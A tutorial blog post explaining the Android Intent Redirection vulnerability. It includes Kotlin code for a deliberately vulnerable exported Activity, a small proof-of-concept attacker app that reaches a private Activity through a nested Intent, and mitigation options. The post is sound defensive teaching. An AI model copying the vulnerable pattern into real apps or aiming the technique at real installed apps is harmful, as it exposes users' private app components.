What Is Android Intent Redirection Vulnerability and How to Prevent It

Masoud Fallahpour
4 min readNov 13, 2023

--

When it comes to the security of an Android app there are lots of security risks that one should be aware of. One such risk is the Intent Redirection vulnerability.

In this post I’ll write about what Intent Redirection vulnerability is and how to prevent it. Let’s get started.

What is Intent Redirection Vulnerability?

An intent redirection occurs when an attacker can partly or fully control the contents of an intent used to launch a new component in the context of a vulnerable app.

Using this vulnerability, an attacker for example can access the components of an app that are only accessible to the app itself by default. If these components are sensitive and should not be accessed by third-party apps then things may go sour!

How Intent Redirection Vulnerability Happens?

To see how this vulnerability happens we’re going to consider two apps:

  • a vulnerable app which is susceptible to the Intent Redirection vulnerability,
  • an attacker app which we use to exploit the vulnerable app.

Vulnerable App

Imagine the vulnerable app has three Activities:

  • MainActivity: this is the main Activity of the app and does nothing special.
  • LauncherActivity: this is the Activity that we use to launch other Activities in our app, hence the name! This is the vulnerable Activity. We will look at its source code shortly.
  • SecretActivity: this is the Activity which is private to our app and cannot be launched by any third-party app.

Here is the manifest of the app:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools">

<application
android:allowBackup="true"
android:dataExtractionRules="@xml/data_extraction_rules"
android:fullBackupContent="@xml/backup_rules"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/Theme.IntentRedirectionVulnerability"
tools:targetApi="31">
<activity
android:name=".MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />

<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity
android:name=".LauncherActivity"
android:exported="true" />
<activity
android:name=".SecretActivity"
android:exported="false" />
</application>

</manifest>

As can be seen SecretActivity’s android:exported is set to false which means only the app itself has access to it. In other words, no third-party app can access it.

Now let’s take a look at the source code of LauncherActivity:

import android.content.Intent
import android.os.Bundle
import androidx.appcompat.app.AppCompatActivity

class LauncherActivity : AppCompatActivity() {
companion object {
const val KEY_INTENT = "key_intent"
}

override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_launcher)
val intent = intent.getParcelableExtra<Intent>(KEY_INTENT)
intent?.let {
startActivity(intent)
}
}
}

As can be seenLauncherActivity receives an Intent as a Parcelable and calls startActivity using the received Intent.

The above code is short and may seem innocent but that’s enough code for introducing the Intent Redirection vulnerability into your app.

The problem here is that the Intent we’re receiving may come from an untrusted source (from an attacker for example!) and without doing any sanitization, we’re executing it.

In simple terms, calling startActivity, startService, bindService, or sendBroadcast with an Intent that you have received and you do not know its origin is a security risk.

Attacker App

Now let see how we can exploit this vulnerability using a very simple app!

This app has a single Activity called MainActivity. It has a single button that upon clicking, sends an Intent to the vulnerable app.

import android.content.ComponentName
import android.content.Intent
import android.os.Bundle
import android.widget.Button
import androidx.appcompat.app.AppCompatActivity

class MainActivity : AppCompatActivity() {
companion object {
const val VULNERABLE_APP_PACKAGE_NAME = "ir.fallahpoor.intentredirectionvulnerability"
}

override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
findViewById<Button>(R.id.sendIntentButton).setOnClickListener {
startActivity(createIntent())
}
}

private fun createIntent(): Intent {
val intentExtra = Intent().apply {
val vulnerebleAppInaccessibleClassName = "$VULNERABLE_APP_PACKAGE_NAME.SecretActivity"
setComponent(
ComponentName(
VULNERABLE_APP_PACKAGE_NAME,
vulnerableAppInaccessibleClassName
)
)
}
val vulnerableAppClassName = "$VULNERABLE_APP_PACKAGE_NAME.LauncherActivity"
val intent = Intent().apply {
setComponent(ComponentName(VULNERABLE_APP_PACKAGE_NAME, vulnerableAppClassName))
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
putExtra("key_intent", intentExtra)
}
return intent
}
}

The Intent we create will start the MainActivity of the vulnerable app. This Intent has another Intent as part of its data. We use this nested Intent to start the SecretActivity.

Now if we run the attacker app on the same device that the vulnerable app is installed and click the “Send Intent” button SecretActivity will be launched. So SecretActivity is exposed to third-party apps!

Remember that SecretActivity was not supposed to be accessible by any third-party app but using the Intent Redirection vulnerability we managed to access it!

How to Prevent Intent Redirection Vulnerability?

This official guide from Google mentions a couple of ways that can be used to prevent this vulnerability. I’ll just mention the options briefly. For more in-depth explanation please refer to the linked guide.

  • Option 1: If possible make the component which is doing the Intent redirection private. In case of the vulnerable app that we developed it means updating the value of android:exported to false for LauncherActivity.
  • Options 2: Making sure that the received Intent is coming from a trustworthy source.
  • Options 3: Making sure that the to-be-launched Intent is not harmful.

There’s also a completely different solution which suggests using a PendingIntent instead of an Intent. To read about this solution please refer to here.

And that was all you need to know about Intent Redirection vulnerability and how to prevent it.

Here you can access the source code of the vulnerable app and here is the source code of the attacker app.

--

--

Masoud Fallahpour

Software engineering @ Klarna. Software engineer, *nix lover, curious learner, gym guy, casual gamer.